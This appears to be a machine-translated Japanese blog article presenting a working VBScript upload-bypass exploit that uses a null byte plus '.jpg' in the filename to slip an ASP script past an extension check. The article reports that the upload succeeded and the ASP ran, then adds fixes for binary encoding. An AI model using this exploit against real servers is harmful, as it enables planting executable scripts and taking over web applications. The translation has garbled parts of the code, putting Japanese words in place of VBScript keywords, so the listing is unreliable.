この記事の一部のスクリプトは攻撃的であり、調査および研究のみを目的としており、法的かつ合理的な範囲内で使用してください。また、ハッキング攻撃に関する技術的な指導は行いません。
今日、Demon がこの問題について言及しましたが、以前に見た記事「ユーザー操作なしで IE+ADO を使用した自動ファイルアップロード - VBSscript」を偶然思い出しました。この記事では、ローカルの非対話型自動アップロード スクリプトの例を紹介します。元のスクリプトは InternetExplorer.Application コンポーネントを使用して、同様の機能を実現します。このコンポーネントの詳しい使用方法については、「WinHttpRequest オブジェクト リファレンス」を参照してください。
次のようにコードをコピーします。Option Explicit
Function file_get_contents(filename)
Dim fso, f
Set fso = WSH.CreateObject(Scripting.FilesystemObject)
Set f = fso.OpenTextFile(filename, 1)
file_get_contents = f.ReadAll
f.Close
Set f =何も
設定されていません fso = 何もありません
終了関数
' http://www.motobit.com/tips/detpg_uploadvbsie/ から変更されたコード
Class FileUpload Attack
Private m_objWinHttp
Private m_strUrl
Private m_strFieldName
Private Sub Class_Initialize()
Set m_objWinHttp = WSH.CreateObject( _
WinHttp.WinHttpRequest.5.1)
End Sub
Private Sub Class_Terminate( )
セットm_objWinHttp = Nothing
End Sub
Public Sub setUrl(url)
m_strUrl = url
End Sub
Public Sub setFieldName(name)
m_strFieldName = name
End Sub
'フォーム フィールド ヘッダーの情報
Function mpFields(FieldName, FileName, ContentType)
Dim MPTemplate 'マルチパート ヘッダー用のテンプレート。
MPTemplate = コンテンツの配置: フォームデータ = {フィールド};
filename={file} + vbCrLf + _
Content-Type: {ct} + vbCrLf + vbCrLf
Dim Out
Out = Replace(MPTemplate, {field}, FieldName)
Out = Replace(Out, {file}, FileName)
mpFields = Replace( Out, {ct}, ContentType)
End Function
'OLE 文字列をマルチバイト文字列に変換
Function StringToMB(S)
Dim I, B
For I = 1 To Len(S)
B = B & ChrB(Asc(Mid(S, I, 1)))
Next
StringToMB = B
End Function
'ファイルの内容とヘッダー情報を含むマルチパート/フォームデータ ドキュメントを構築
Function BuildFormData(FileContents, Boundary, _
FileName, FieldName)
Dim FormData, Pre, Po
Const ContentType = application/upload
'マルチパート形式データ内のファイルの内容を囲む 2 つの部分
Pre = -- + Boundary + vbCrLf + mpFields(FieldName, _
FileName, ContentType)
Po = vbCrLf + -- + Boundary + -- + vbCrLf
'レコードセットのバイナリ フィールドを使用してフォーム データを構築します
Const adLongVarBinary = 205
Dim RS: Set RS = WSH.CreateObject(ADODB.Recordset)
RS.Fields.Append b、adLongVarBinary、_
Len(Pre) + LenB(FileContents) + Len(Po)
RS.Open
RS.AddNew
Dim LenData
'Pre 文字列値をバイナリ データに変換
LenData = Len(Pre)
RS(b).AppendChunk (StringToMB(Pre) & ChrB (0))
Pre = RS(b).GetChunk(LenData)
RS(b) =
'Po 文字列値をバイナリ データに変換
LenData = Len(Po)
RS(b).AppendChunk (StringToMB(Po) & ChrB(0))
Po = RS(b).GetChunk(LenData)
RS(b) =
'Pre + FileContents + Po バイナリ データを結合
RS(b).AppendChunk (Pre )
RS(b).AppendChunk (FileContents)
RS(b).AppendChunk (Po)
RS.Update
FormData = RS(b)
RS.Close
BuildFormData = FormData
終了関数
Public Function sendFile(fileName)
Const Boundary = ---------------------------0123456789012
m_objWinHttp .Open POST、m_strUrl、False
m_objWinHttp.setRequestHeader Content-Type、
_multipart/form-data; Boundary
Dim FileContents、FormData
'Getソース ファイルをバイナリ データとして
FileContents = file_get_contents(FileName)
'以下は悪意のあるファイル拡張子 Chr(0) & .jpg を構築します
'マルチパート/フォーム データ ドキュメントを構築します
FormData = BuildFormData(FileContents, Boundary, _
FileName & Chr(0) ) & .jpg, m_strFieldName)
m_objWinHttp.send FormData
sendFile = m_objWinHttp.Status
End Function
Public Function getText()
getText = m_objWinHttp.ResponseText
End Function
End Class
Function VBMain()
VBMain = 0
Dim fileUpload
Set fileUpload = New FileUpload Attack
'次の内容を適切な内容に変更する必要があります
' アップロード URL
fileUpload.setUrl http://localhost/upload/uploadfile.asp
fileUpload.setFieldName filepath 'アップロード フォーム ボックスの名前
' アップロードするファイルのパス
If fileUpload.sendFile(E:/projects/asp/index.asp)=200 then
MsgBox アップロード成功& fileUpload.getText()
Else
MsgBox failedEnd
If
Set fileUpload = なし
関数
呼び出しを
終了WScript.Quit(VBMain())
アップロード関数は、インターネット上で見つかった ASP ファイルを単純にアップロードし、「ASP/VBScript の CHR(0) の起源とセキュリティの問題」の記事で説明した GetFileExtensionName に追加します。拡張子がjpgかどうかを確認します。
テスト結果は次のとおりです。手動での ASP アップロードは失敗しました。上記の攻撃スクリプトを使用した ASP ファイルのアップロードは成功しました。確かに、アップロード ディレクトリに asp ファイルがありますが、この asp ファイルにはブラウザの URL からもアクセスできますが、ここでは IIS 7 が空白になっているのです。これは、file_get_contents のバージョンに問題があるのでしょうか。ファイルのバイナリストリームを返しますか?さて、この質問はひとまずここに残しておきます。他にやるべきことがありますので、まず本題から外しましょう。
すべての実験用コード パッケージは、ここ (upload.zip) からダウンロードできます (コードのバグについては、以下の更新手順を参照してください)。
2011 年 12 月 25 日に更新されました。
皆様からのフィードバックをもとに、アップロードされたファイルは Unicode Little になりました。エンディアンコーディングの問題、最初に申し訳ありません。当時は本当に怠け者だったので、メインのコードリファレンスは外国人からのもので、外国人はファイルバイナリデータを取得するためのGetFile関数を説明していましたが、実装が見つかりませんでした。この関数のバイナリ読み込みが面倒だったので、File_get_contents でテキストデータを取得するだけでした。以下にその改善策を説明します。既存のベースに基づいてテキスト データをバイナリ データに遅延的に直接変換します。 ADODB.Stream コンポーネントを使用する関数は次のとおりです。
コードのコピー コードは次のとおりです。
'指定された文字セットの文字列 str をバイナリに変換します
Function strtobin(str, charset)
With WSH.CreateObject(ADODB.Stream)
。 Type = 2
.Mode = 3
.Open
.Charset = charset
.WriteText str
.Flush
.Position = 0
.Type = 1
strtobin = .Read()
.Close
End With
End Function
次に、上記のコードの 106 行目を次のように変更します (テキストを ASCII で読み取ります):
次のようにコードをコピーします:
FileContents = strtobin(file_get_contents(FileName), ASCII)
この変更後にアップロードされた ASP ファイルは通常、エンコードされたファイルを作成し、ブラウザーがこのファイルにアクセスすると、ASP が正常に解析されたことがわかります。
ただし、これは少し冗長に思えます。実際には、ファイルをバイナリで直接開いてデータを返すことができます。1. ファイルをテキスト モードで読み取ります。2. テキストをバイナリ データに変換します。ワンステップ コードは、バイナリ Byte() モードでファイル データを読み取る次の関数を参照できます。
コードを次のようにコピーします。
' ファイルの内容をバイナリ データとして返します
。Function GetFile(FileName)
Dim Stream: Set Stream = CreateObject(ADODB) .Stream )
Stream.Type = 1 'バイナリ
Stream.Open
Stream.LoadFromFile FileName
GetFile = Stream.Read
Stream.Close
Set Stream = Nothing
End Function
のより最適化されたコードは書きませんが、主にアップロードのアイデアについて説明します。完全なアップロードの実装を取得したい場合は、Demon の「VBS シミュレーション POST アップロード ファイル」を参照してください。